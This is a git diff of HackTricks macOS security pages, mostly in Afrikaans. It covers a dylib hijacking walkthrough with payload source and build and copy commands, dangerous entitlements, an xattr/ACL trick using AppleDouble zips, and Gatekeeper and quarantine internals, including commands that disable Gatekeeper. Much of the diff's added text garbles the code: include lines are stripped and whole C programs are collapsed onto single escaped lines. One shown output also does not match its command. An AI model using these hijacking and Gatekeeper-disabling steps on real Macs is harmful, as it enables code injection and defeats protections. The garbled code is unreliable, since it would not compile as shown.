{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="@rpath" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check librareis loaded using @rapth and the used versions
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
||||
name @rpath/lib.dylib (offset 24)
|
||||
time stamp 2 Thu Jan 1 01:00:02 1970
|
||||
current version 1.0.0
|
||||
compatibility version 1.0.0
|
||||
# Check the versions
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Met die vorige inligting weet ons dat dit **nie die handtekening van die gelaai biblioteke nagaan nie** en dit probeer 'n biblioteek laai vanaf:
|
||||
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
Maar, die eerste een bestaan nie:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/VulnDyld.app
|
||||
|
||||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
So, dit is moontlik om dit te kap! Skep 'n biblioteek wat **willekeurige kode uitvoer en dieselfde funksionaliteit uitvoer** as die regte biblioteek deur dit weer uit te voer. En onthou om dit te kompileer met die verwagte weergawes:
|
||||
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
__attribute__((constructor))
|
||||
void custom(int argc, const char **argv) {
|
||||
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Kompileer dit:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||
# Note the versions and the reexport
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Die heruitvoerpad wat in die biblioteek geskep word, is relatief tot die laaier. Laat ons dit verander na 'n absolute pad na die biblioteek wat uitgevoer moet word:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
#Check relative
|
||||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 48
|
||||
name @rpath/libjli.dylib (offset 24)
|
||||
|
||||
#Change the location of the library absolute to absolute path
|
||||
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
||||
|
||||
# Check again
|
||||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 128
|
||||
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Uiteindelik kopieer dit net na die **gekaapte plek**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
En **voer** die binêre lêer uit en kontroleer of die **biblioteek gelaai is**:
|
||||
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib gekaap in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Gebruik: [...]
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
'n Goeie bespreking oor hoe om hierdie kwesbaarheid te misbruik om die kamera-toestemmings van Telegram te misbruik, kan gevind word by [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
{% endhint %}
|
||||
|
||||
## Groter Skala
|
||||
|
||||
As jy van plan is om biblioteke in onverwagte binêre lêers in te spuit, kan jy die gebeurtenisboodskappe ondersoek om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die `/bin/bash` uitvoering).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Gevaarlike Toestemmings & TCC-permissies
|
||||
# macOS Dangerous Entitlements & TCC perms
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -30,11 +30,11 @@ Die toestemming **`com.apple.rootless.install`** maak dit moontlik om **SIP te o
|
|||
|
||||
### **`com.apple.system-task-ports` (voorheen genoem `task_for_pid-allow`)**
|
||||
|
||||
Hierdie toestemming maak dit moontlik om die **taakpoort vir enige** proses te kry, behalwe die kernel. Kyk [**hier vir meer inligting**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
Hierdie toestemming maak dit moontlik om die **taakpoort vir enige** proses te kry, behalwe die kernel. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
Hierdie toestemming maak dit vir ander prosesse met die **`com.apple.security.cs.debugger`** toestemming moontlik om die taakpoort van die proses wat deur die binêre lêer met hierdie toestemming uitgevoer word, te kry en **kode daarop in te spuit**. Kyk [**hier vir meer inligting**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
Hierdie toestemming maak dit vir ander prosesse met die **`com.apple.security.cs.debugger`** toestemming moontlik om die taakpoort van die proses wat deur die binêre lêer met hierdie toestemming uitgevoer word, te kry en **kode daarop in te spuit**. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
|
@ -88,6 +88,7 @@ TODO: In [**hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
|||
### `keychain-access-groups`
|
||||
|
||||
Hierdie toestemming lys **sleutelhangergroepe** waarop die aansoek toegang het:
|
||||
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -98,6 +99,7 @@ Hierdie toestemming lys **sleutelhangergroepe** waarop die aansoek toegang het:
|
|||
<string>IMCore</string>
|
||||
</array>
|
||||
```
|
||||
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Gee **Volle Skyftoegang** toestemmings, een van die hoogste TCC-toestemmings wat jy kan hê.
|
||||
|
@ -169,12 +171,14 @@ Hierdie toestemming laat toe om 'n nullfs-lêersisteem te koppel (standaard verb
|
|||
### `kTCCServiceAll`
|
||||
|
||||
Volgens hierdie blogpos, hierdie TCC-toestemming word gewoonlik gevind in die vorm:
|
||||
|
||||
```
|
||||
[Key] com.apple.private.tcc.allow-prompting
|
||||
[Value]
|
||||
[Array]
|
||||
[String] kTCCServiceAll
|
||||
```
|
||||
|
||||
Laat die proses toe om **vir al die TCC-toestemmings te vra**.
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS xattr-acls ekstra goed
|
||||
# macOS xattr-acls extra stuff
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,21 +9,16 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
||||
./get_acls test
|
||||
ACL for test:
|
||||
!#acl 1
|
||||
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
|
||||
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
|
||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||
```
|
||||
|
||||
````
|
||||
<details>
|
||||
|
||||
<summary>Kode van get_acls</summary>
|
||||
|
@ -66,103 +61,47 @@ acl_free(acl);
|
|||
acl_free(acl_text);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||
mkdir start
|
||||
mkdir start/protected
|
||||
./set_xattr start/protected
|
||||
echo something > start/protected/something
|
||||
```
|
||||
````
|
||||
|
||||
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kode van set_xattr</summary>
|
||||
```c
|
||||
// gcc -o set_xattr set_xattr.c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <sys/acl.h>
|
||||
|
||||
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
||||
|
||||
void print_xattrs(const char *filepath) {
|
||||
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
return;
|
||||
}
|
||||
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
||||
|
||||
char *buf = malloc(buflen);
|
||||
if (buf == NULL) {
|
||||
perror("malloc");
|
||||
return;
|
||||
}
|
||||
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
||||
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
free(buf);
|
||||
return;
|
||||
}
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
||||
|
||||
printf("All current extended attributes for %s:\n", filepath);
|
||||
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
||||
printf("%s: ", name);
|
||||
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
continue;
|
||||
}
|
||||
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
||||
|
||||
char *value = malloc(valuelen + 1);
|
||||
if (value == NULL) {
|
||||
perror("malloc");
|
||||
continue;
|
||||
}
|
||||
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
||||
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
free(value);
|
||||
continue;
|
||||
}
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
||||
|
||||
value[valuelen] = '\0'; // Null-terminate the value
|
||||
printf("%s\n", value);
|
||||
free(value);
|
||||
}
|
||||
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
||||
|
||||
free(buf);
|
||||
}
|
||||
free(buf); }
|
||||
|
||||
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
||||
|
||||
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
||||
const char *filepath = argv[1];
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
||||
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
||||
if (result == 0) {
|
||||
printf("Extended attribute set successfully.\n\n");
|
||||
} else {
|
||||
perror("setxattr");
|
||||
return 1;
|
||||
}
|
||||
print\_xattrs(filepath);
|
||||
|
||||
print_xattrs(filepath);
|
||||
return 0; }
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
````
|
||||
</details>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
||||
|
||||
```bash
|
||||
# Create appledoublefile with the xattr entitlement
|
||||
ditto -c -k start protected.zip
|
||||
|
@ -176,23 +115,10 @@ rm -rf protected.zip
|
|||
zip -r protected.zip protected ._protected
|
||||
rm -rf protected
|
||||
rm ._*
|
||||
```
|
||||
{% endcode %}
|
||||
```bash
|
||||
# Check if it worked
|
||||
ditto -x -k --rsrc protected.zip .
|
||||
xattr -l protected
|
||||
```
|
||||
<details>
|
||||
````
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Gatekeeper / Karantyn / XProtect
|
||||
# macOS Gatekeeper / Quarantine / XProtect
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -39,6 +39,7 @@ Vanaf macOS Catalina **kontroleer Gatekeeper ook of die toepassing genotariseer
|
|||
#### Kontroleer Handtekeninge
|
||||
|
||||
Wanneer jy 'n **malwaremonster** kontroleer, moet jy altyd die handtekening van die binêre lêer **kontroleer**, aangesien die **ontwikkelaar** wat dit onderteken het, moontlik al **verwant** is aan **malware**.
|
||||
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -55,6 +56,7 @@ spctl --assess --verbose /Applications/Safari.app
|
|||
# Sign a binary
|
||||
codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
|
||||
### Notarisering
|
||||
|
||||
Apple se notariseringproses dien as 'n addisionele beskerming om gebruikers te beskerm teen potensieel skadelike sagteware. Dit behels dat die **ontwikkelaar hul aansoek vir ondersoek indien** by **Apple se Notary-diens**, wat nie verwar moet word met App Review nie. Hierdie diens is 'n **geoutomatiseerde stelsel** wat die ingediende sagteware ondersoek vir die teenwoordigheid van **skadelike inhoud** en enige potensiële probleme met kode-ondertekening.
|
||||
|
@ -68,10 +70,12 @@ By die gebruiker se eerste installasie of uitvoering van die sagteware, **inform
|
|||
GateKeeper is **verskeie sekuriteitskomponente** wat voorkom dat onbetroubare programme uitgevoer word en is ook **een van die komponente**.
|
||||
|
||||
Dit is moontlik om die **status** van GateKeeper te sien met:
|
||||
|
||||
```bash
|
||||
# Check the status
|
||||
spctl --status
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat GateKeeper-handtekeningkontroles slegs uitgevoer word op lêers met die Karantyn-eienskap, nie op elke lêer nie.
|
||||
{% endhint %}
|
||||
|
@ -81,6 +85,7 @@ GateKeeper sal nagaan of 'n binêre lêer uitgevoer kan word volgens die voorkeu
|
|||
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Die databasis wat hierdie konfigurasie bevat, is geleë in **`/var/db/SystemPolicy`**. Jy kan hierdie databasis as 'n root-gebruiker nagaan met:
|
||||
|
||||
```bash
|
||||
# Open database
|
||||
sqlite3 /var/db/SystemPolicy
|
||||
|
@ -94,9 +99,11 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
|||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
|
||||
Let daarop hoe die eerste reël geëindig het in "**App Store**" en die tweede een in "**Developer ID**" en dat dit in die vorige afbeelding **ingeskakel was om programme van die App Store en geïdentifiseerde ontwikkelaars uit te voer**. As jy daardie instelling na App Store verander, sal die "**Notarized Developer ID" reëls verdwyn**.
|
||||
|
||||
Daar is ook duisende reëls van **tipe GKE**:
|
||||
|
||||
```bash
|
||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||
|
@ -105,13 +112,17 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
|||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
```
|
||||
|
||||
Hierdie is hasings wat afkomstig is van **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** en **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
|
||||
|
||||
Of jy kan die vorige inligting lys met:
|
||||
|
||||
```bash
|
||||
sudo spctl --list
|
||||
```
|
||||
|
||||
Die opsies **`--master-disable`** en **`--global-disable`** van **`spctl`** sal hierdie handtekeningkontroles heeltemal **deaktiveer**:
|
||||
|
||||
```bash
|
||||
# Disable GateKeeper
|
||||
spctl --global-disable
|
||||
|
@ -121,15 +132,19 @@ spctl --master-disable
|
|||
spctl --global-enable
|
||||
spctl --master-enable
|
||||
```
|
||||
|
||||
Wanneer dit volledig geaktiveer is, sal 'n nuwe opsie verskyn:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dit is moontlik om **te kontroleer of 'n App deur GateKeeper toegelaat sal word** met:
|
||||
|
||||
```bash
|
||||
spctl --assess -v /Applications/App.app
|
||||
```
|
||||
|
||||
Dit is moontlik om nuwe reëls by GateKeeper toe te voeg om die uitvoering van sekere programme toe te staan met:
|
||||
|
||||
```bash
|
||||
# Check if allowed - nop
|
||||
spctl --assess -v /Applications/App.app
|
||||
|
@ -144,6 +159,7 @@ sudo spctl --enable --label "whitelist"
|
|||
spctl --assess -v /Applications/App.app
|
||||
/Applications/App.app: accepted
|
||||
```
|
||||
|
||||
### Karantene-lêers
|
||||
|
||||
By die aflaai van 'n toepassing of lêer, heg spesifieke macOS-toepassings soos webblaaier of e-poskliënte 'n verlengde lêereienskap, algemeen bekend as die "karantenevlag", aan die afgelaaide lêer. Hierdie eienskap dien as 'n sekuriteitsmaatreël om die lêer te merk as afkomstig van 'n onbetroubare bron (die internet) en moontlik risiko's in te hou. Nie alle toepassings heg egter hierdie eienskap aan nie, byvoorbeeld gewone BitTorrent-kliënt sagteware omseil gewoonlik hierdie proses.
|
||||
|
@ -165,6 +181,7 @@ Tog sal lêers wat gesandboks is, hierdie eienskap aan elke lêer wat hulle skep
|
|||
{% endhint %}
|
||||
|
||||
Dit is moontlik om **die status te kontroleer en in/uit te skakel** (root vereis) met:
|
||||
|
||||
```bash
|
||||
spctl --status
|
||||
assessments enabled
|
||||
|
@ -173,13 +190,17 @@ spctl --enable
|
|||
spctl --disable
|
||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||
```
|
||||
|
||||
Jy kan ook **vasstel of 'n lêer die karantyn verlengde eienskap het** met:
|
||||
|
||||
```bash
|
||||
xattr file.png
|
||||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
|
||||
Kyk na die **waarde** van die **uitgebreide** **eienskappe** en vind uit watter toepassing die karantyn-eienskap geskryf het met:
|
||||
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
|
@ -195,70 +216,34 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
|||
# Brave -- App
|
||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||
```
|
||||
Eintlik kan 'n proses "kwarentynvlaggies aan die lêers wat dit skep, toewys" (ek het probeer om die USER_APPROVED-vlag in 'n geskepte lêer toe te pas, maar dit sal nie toegepas word nie):
|
||||
|
||||
Eintlik kan 'n proses "kwarentynvlaggies aan die lêers wat dit skep, toewys" (ek het probeer om die USER\_APPROVED-vlag in 'n geskepte lêer toe te pas, maar dit sal nie toegepas word nie):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bronkode pas kwarentynvlaggies toe</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
enum qtn_flags {
|
||||
QTN_FLAG_DOWNLOAD = 0x0001,
|
||||
QTN_FLAG_SANDBOX = 0x0002,
|
||||
QTN_FLAG_HARD = 0x0004,
|
||||
QTN_FLAG_USER_APPROVED = 0x0040,
|
||||
};
|
||||
\`\`\`c #include #include
|
||||
|
||||
#define qtn_proc_alloc _qtn_proc_alloc
|
||||
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
|
||||
#define qtn_proc_free _qtn_proc_free
|
||||
#define qtn_proc_init _qtn_proc_init
|
||||
#define qtn_proc_init_with_self _qtn_proc_init_with_self
|
||||
#define qtn_proc_set_flags _qtn_proc_set_flags
|
||||
#define qtn_file_alloc _qtn_file_alloc
|
||||
#define qtn_file_init_with_path _qtn_file_init_with_path
|
||||
#define qtn_file_free _qtn_file_free
|
||||
#define qtn_file_apply_to_path _qtn_file_apply_to_path
|
||||
#define qtn_file_set_flags _qtn_file_set_flags
|
||||
#define qtn_file_get_flags _qtn_file_get_flags
|
||||
#define qtn_proc_set_identifier _qtn_proc_set_identifier
|
||||
enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, };
|
||||
|
||||
typedef struct _qtn_proc *qtn_proc_t;
|
||||
typedef struct _qtn_file *qtn_file_t;
|
||||
\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier
|
||||
|
||||
int qtn_proc_apply_to_self(qtn_proc_t);
|
||||
void qtn_proc_init(qtn_proc_t);
|
||||
int qtn_proc_init_with_self(qtn_proc_t);
|
||||
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
|
||||
qtn_proc_t qtn_proc_alloc();
|
||||
void qtn_proc_free(qtn_proc_t);
|
||||
qtn_file_t qtn_file_alloc(void);
|
||||
void qtn_file_free(qtn_file_t qf);
|
||||
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
|
||||
uint32_t qtn_file_get_flags(qtn_file_t qf);
|
||||
